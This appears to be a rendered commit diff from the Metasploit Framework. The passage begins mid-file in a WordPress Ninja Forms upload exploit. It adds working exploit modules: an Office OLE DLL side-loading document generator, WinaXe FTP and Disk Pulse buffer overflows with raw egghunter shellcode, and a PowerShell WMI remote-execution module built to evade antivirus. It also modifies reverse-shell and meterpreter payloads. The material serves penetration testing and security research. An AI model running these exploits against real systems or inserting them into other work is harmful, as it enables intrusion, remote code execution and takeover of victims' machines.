nonce = fetch_ninja_form_nonce
print_status("Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
data = generate_mime_message(payload_name, nonce)
print_status("Uploading payload to #{payload_url}")
upload_payload(data)
print_status("Executing the payload...")
execute_payload(payload_name, payload_url)
# Once the payload has been executed, we can disable the preview functionality again.
disable_v3_functionality
end
end

View File

@ -10,6 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Module::Deprecated
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
def initialize(info = {}) def initialize(info = {})
super(update_info( super(update_info(

View File

@ -0,0 +1,280 @@
require 'zip'
require 'base64'
require 'msf/core'
require 'rex/ole'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities',
'Description' => %q{
Multiple DLL side loading vulnerabilities were found in various COM components.
These issues can be exploited by loading various these components as an embedded
OLE object. When instantiating a vulnerable object Windows will try to load one
or more DLLs from the current working directory. If an attacker convinces the
victim to open a specially crafted (Office) document from a directory also
containing the attacker's DLL file, it is possible to execute arbitrary code with
the privileges of the target user. This can potentially result in the attacker
taking complete control of the affected system.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6132'],
['CVE', '2015-6128'],
['CVE', '2015-6133'],
['CVE', '2016-0041'],
['CVE', '2016-0100'],
['CVE', '2016-3235'],
['MSB', 'MS15-132'],
['MSB', 'MS16-014'],
['MSB', 'MS16-025'],
['MSB', 'MS16-041'],
['MSB', 'MS16-070'],
['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'],
['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'],
['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/exec',
'CMD' => 'C:\\Windows\\System32\\calc.exe',
},
'Payload' => { 'Space' => 2048, },
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[ 'All', {} ],
[
'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)',
{
'DLL' => 'mqrt.dll',
# {ecabafc9-7f19-11d2-978e-0000f8757e2a}
'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A"
}
],
[
'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)',
{
'DLL' => 'spframe.dll',
# {D27CDB6E-AE6D-11cf-96B8-444553540000}
'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00"
}
],
[
'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)',
{
'DLL' => 'wuaext.dll',
# {D93CE8B5-3BF8-462C-A03F-DED2730078BA}
'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA"
}
],
[
'Shutdown UX / Windows 10 / Office 2016 (MS15-132)',
{
'DLL' => 'wuaext.dll',
# {14ce31dc-abc2-484c-b061-cf3416aed8ff}
'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF"
}
],
[
'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)',
{
'DLL' => 'phoneinfo.dll',
# {B9033E87-33CF-4D77-BC9B-895AFBBA72E4}
'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4"
}
],
[
'Microsoft Visio 2010 / Windows 7 (MS16-070)',
{
'DLL' => 'msoutls.dll',
# 6C92B806-B900-4392-89F7-2ED4B4C23211}
'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11"
}
],
[
'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)',
{
'DLL' => 'elsext.dll',
# {394C052E-B830-11D0-9A86-00C04FD8DBF7}
'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7"
}
],
[
'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)',
{
'DLL' => 'oci.dll',
# {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d}
'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D"
}
],
[
'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)',
{
'DLL' => 'wab32res.dll',
# {32714800-2E5F-11d0-8B85-00AA0044F941}
'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41"
}
],
[
'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)',
{
'DLL' => 'iasdatastore2.dll',
# {48da6741-1bf0-4a44-8325-293086c79077}
'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77"
}
],
[
'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)',
{
'DLL' => 'ehTrace.dll',
# {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4}
'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4"
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Dec 8 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
], self.class)
end
def exploit
if target.name == 'All'
targets = @targets
else
targets = [ target ]
end
@arch.each do |a|
exploit_regenerate_payload('win', a, nil)
targets.each do |t|
if t.name == 'All'
next
end
print_status("Using target #{t.name}")
dll_name = t['DLL']
if target.name == 'All'
ppsx_name = t.name.split(/\//).first + ".ppsx"
else
ppsx_name = datastore['FILENAME']
end
print_status("Creating the payload DLL (#{a})...")
opts = {}
opts[:arch] = [ a ]
dll = generate_payload_dll(opts)
dll_path = store_file(dll, a, dll_name)
print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share")
print_status("Creating the PPSX file...")
ppsx = get_ppsx(t['CLSID'])
ppsx_path = store_file(ppsx, a, ppsx_name)
print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share")
end
end
end
def store_file(data, subdir, filename)
ltype = "exploit.fileformat.#{self.shortname}"
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '')
if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir)
FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir)
end
if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
fname << ".#{ext}"
path = File.join(Msf::Config.local_directory + "/" + subdir, fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }
report_note(:data => full_path.dup, :type => "#{ltype}.localpath")
full_path.dup
end
def create_ole(clsid)
ole_tmp = Rex::Quickfile.new('ole')
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
stm = stg.create_stream("\x01OLE10Native")
stm.close
directory = stg.instance_variable_get(:@directory)
directory.each_entry do |entry|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
clsid = Rex::OLE::CLSID.new(clsid)
entry.instance_variable_set(:@_clsId, clsid)
end
end
# write to disk
stg.close
ole_contents = File.read(ole_tmp.path)
ole_tmp.close
ole_tmp.unlink
ole_contents
end
def get_ppsx(clsid)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx')
fd = ::File.open(path, "rb")
data = fd.read(fd.stat.size)
fd.close
ppsx = Rex::Zip::Archive.new
Zip::InputStream.open(StringIO.new(data)) do |zis|
while entry = zis.get_next_entry
ppsx.add_file(entry.name, zis.read)
end
end
ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
ppsx.pack
end
end

View File

@ -0,0 +1,71 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
This issue is triggered when a client connects to the server and is
expecting the Server Ready response.
},
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'hyp3rlix' # Original discovery
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '40693'],
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Offset' => 2065,
'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 03 2016',
'DefaultTarget' => 0))
end
def on_client_unknown_command(c, _cmd, _arg)
c.put("200 OK\r\n")
end
def on_client_connect(c)
print_status("Client connected...")
sploit = rand_text(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << make_nops(20)
c.put("220" + sploit + "\r\n")
c.close
end
end

View File

@ -0,0 +1,120 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Disk Pulse Enterprise
9.0.34. If a malicious user sends a malicious HTTP login request,
it is possible to execute a payload that would run under the Windows
NT AUTHORITY\SYSTEM account. Due to size constraints, this module
uses the Egghunter technique.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'Tulpa Security' # Original discovery -- @tulpa_security
],
'References' =>
[
[ 'EDB', '40452' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x26"
},
'Targets' =>
[
[ 'Disk Pulse Enterprise 9.0.34',
{
'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
'Offset' => 12600
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Oct 03 2016',
'DefaultTarget' => 0))
register_options([Opt::RPORT(80)], self.class)
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}
print_status("Generating exploit...")
sploit = "username=admin"
sploit << "&password=aaaaa\r\n"
# Would like to use generate_egghunter(), looking for improvement
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
sploit << rand_text(target['Offset'] - payload.encoded.length)
sploit << "w00tw00t"
sploit << payload.encoded
sploit << make_nops(70)
sploit << rand_text(1614)
# Would like to use generate_seh_record(), looking for improvement
sploit << "\x90\x90\xEB\x0B"
sploit << "\x33\xA3\x01\x10"
sploit << make_nops(20)
sploit << egghunter
sploit << make_nops(7000)
# Total exploit size should be 21747
print_status("Total exploit size: " + sploit.length.to_s)
print_status("Triggering the exploit now...")
print_status("Please be patient, the egghunter may take a while...")
res = send_request_cgi({
'uri' => '/login',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'content-length' => '17000',
'data' => sploit
})
handler
disconnect
end
end

View File

@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
'SessionTypes' => [ 'meterpreter' ], 'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ 'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DefaultOptions' => { 'DefaultOptions' => {

View File

@ -0,0 +1,188 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/powershell/dot_net'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell::DotNet
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => "Authenticated WMI Exec via Powershell",
'Description' => %q{
This module uses WMI execution to launch a payload instance on a remote machine.
In order to avoid AV detection, all execution is performed in memory via psh-net
encoded payload. Persistence option can be set to keep the payload looping while
a handler is present to receive it. By default the module runs as the current
process owner. The module can be configured with credentials for the remote host
with which to launch the process.
},
'License' => MSF_LICENSE,
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' => { 'Space' => 8192 },
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate'=> "Aug 19 2012"
))
register_options(
[
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
OptString.new('USERNAME', [false, "Username to authenticate as"]),
OptString.new('PASSWORD', [false, "Password to authenticate with"]),
OptString.new('DOMAIN', [false, "Domain or machine name"]),
], self.class)
register_advanced_options(
[
OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']),
OptBool.new('RunRemoteWow64', [
false,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
], self.class)
end
def build_script
run_opts = {}
run_opts[:username] = datastore['USERNAME']
run_opts[:domain] = datastore['DOMAIN'] || '.'
run_opts[:password] = datastore['PASSWORD']
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
# Create base64 encoded payload
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)
if datastore['PowerShellPersist']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"
end
psh_payload = compress_script(psh_payload_raw, eof)
# WMI exec function - this is going into powershell.rb after pull 701 is commited
script = ps_wmi_exec(run_opts)
# Build WMI exec calls to every host into the script to reduce PS instances
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
# split the hosts into wow64 and native, and run each range separately
ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
if datastore["RHOSTS"]
# Iterate through our hosts list adding a call to the WMI wrapper for each.
# This should learn to differentiate between hosts and call WOW64 as appropriate,
# as well as putting the payload into a variable when many hosts are hit so the
# uploaded script is not bloated since each encoded payload is bulky.
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host|
if run_opts[:username] and run_opts[:password]
script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\""
script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
else
script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
end
end
else
print_status('Running Locally')
script = psh_payload_raw
end
return script
end
def exploit
# Make sure we meet the requirements before running the script
unless have_powershell?
fail_with(Failure::BadConfig, 'PowerShell not found')
end
# SYSTEM doesnt have credentials on remote hosts
if is_system? and datastore['RHOSTS']
print_error("Cannot run as local system on remote hosts")
return 0
end
script = build_script
if datastore['Powershell::Post::dry_run']
print_good script
return
end
begin
psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)
print_good(psh_output)
rescue Rex::TimeoutError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end
vprint_good('PSH WMI exec is complete.')
end
# Wrapper function for instantiating a WMI win32_process
# class object in powershell.
# Insantiates the [wmiclass] object and configures the scope
# Sets impersonation level and injects credentials as needed
# Configures application startup options to hide the newly
# created window. Adds start-up check for remote proc.
def ps_wmi_exec(opts = {})
ps_wrapper = <<EOS
Function New-RemoteProcess {
Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)
$ErrorActionPreference="SilentlyContinue"
$proc = [WMIClass]"\\\\$rhost\\root\\cimv2:Win32_Process"
EOS
if opts[:username] and opts[:password]
ps_wrapper += <<EOS
$proc.psbase.Scope.Options.userName = $login
$proc.psbase.Scope.Options.Password = $pass
EOS
end
ps_wrapper += <<EOS
$proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
$proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy
$startup = [wmiclass]"Win32_ProcessStartup"
$startup.Properties['ShowWindow'].value=$False
$remote = $proc.Create($cmd,'C:\\',$startup)
if ($remote.returnvalue -eq 0) {
Write-Host "Successfully launched on $rhost with a process id of" $remote.processid
} else {
Write-Host "Failed to launch on $rhost. ReturnValue is" $remote.ReturnValue
}
}
EOS
return ps_wrapper
end
end
#
# Ideally the methods to create WMI wrapper functions and their callers
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
#

View File

@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Targets' => 'Targets' =>
[ [
[ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
[ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ] [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 06 2016' 'DisclosureDate' => 'Oct 06 2016'

View File

@ -0,0 +1,108 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
###
#
# MixedNop
# ----------
#
# This class implements a mixed NOP generator for MIPS (big endian)
#
###
class MetasploitModule < Msf::Nop
def initialize
super(
'Name' => 'Better',
'Alias' => 'mipsbe_better',
'Description' => 'Better NOP generator',
'Author' => 'jm',
'License' => MSF_LICENSE,
'Arch' => ARCH_MIPSBE)
register_advanced_options(
[
OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
], self.class)
end
def get_register()
return rand(27) + 1
end
def make_bne(reg)
op = 0x14000000
reg = get_register()
offset = rand(65536)
op = op | ( reg << 21 ) | ( reg << 16 ) | offset
return op
end
def make_or(reg)
op = 0x00000025
op = op | ( reg << 21 ) | ( reg << 11 )
return op
end
def make_sll(reg)
op = 0x00000000
op = op | ( reg << 16 ) | ( reg << 11 )
return op
end
def make_sra(reg)
op = 0x00000003
op = op | ( reg << 16 ) | ( reg << 11 )
return op
end
def make_srl(reg)
op = 0x00000002
op = op | ( reg << 16 ) | ( reg << 11 )
return op
end
def make_xori(reg)
op = 0x38000000
op = op | ( reg << 21 ) | ( reg << 16 )
return op
end
def make_ori(reg)
op = 0x34000000
op = op | ( reg << 21 ) | ( reg << 16 )
return op
end
def generate_sled(length, opts)
badchars = opts['BadChars'] || ''
random = opts['Random'] || datastore['RandomNops']
nop_fn = [ :make_bne, :make_or, :make_sll, :make_sra, :make_srl, :make_xori, :make_ori ]
sled = ''
for i in 1..length/4 do
n = nop_fn.sample
sled << [send(n, get_register())].pack("N*")
end
return sled
end
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule module MetasploitModule
CachedSize = 1204 CachedSize = 1228
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions include Msf::Sessions::CommandShellOptions
@ -81,7 +81,8 @@ module MetasploitModule
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\ "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\ "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
"$pos+=$r;"\ "$pos+=$r;"\
"if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\ "if (-not $pos -or $pos -eq 0) {RSC};"\
"if ($nb[0..$($pos-1)] -contains 10) {break}};"\
"if ($pos -gt 0){"\ "if ($pos -gt 0){"\
"$str=$e.GetString($nb,0,$pos);"\ "$str=$e.GetString($nb,0,$pos);"\
"$is.write($str);start-sleep 1;"\ "$is.write($str);start-sleep 1;"\

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
module MetasploitModule module MetasploitModule
CachedSize = 26803 CachedSize = 27144
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp include Msf::Payload::Php::ReverseTcp

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule module MetasploitModule
CachedSize = 51314 CachedSize = 51742
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Python include Msf::Payload::Python

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule module MetasploitModule
CachedSize = 51274 CachedSize = 51706
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Python include Msf::Payload::Python

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule module MetasploitModule
CachedSize = 51278 CachedSize = 51706
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Python include Msf::Payload::Python

Some files were not shown because too many files have changed in this diff Show More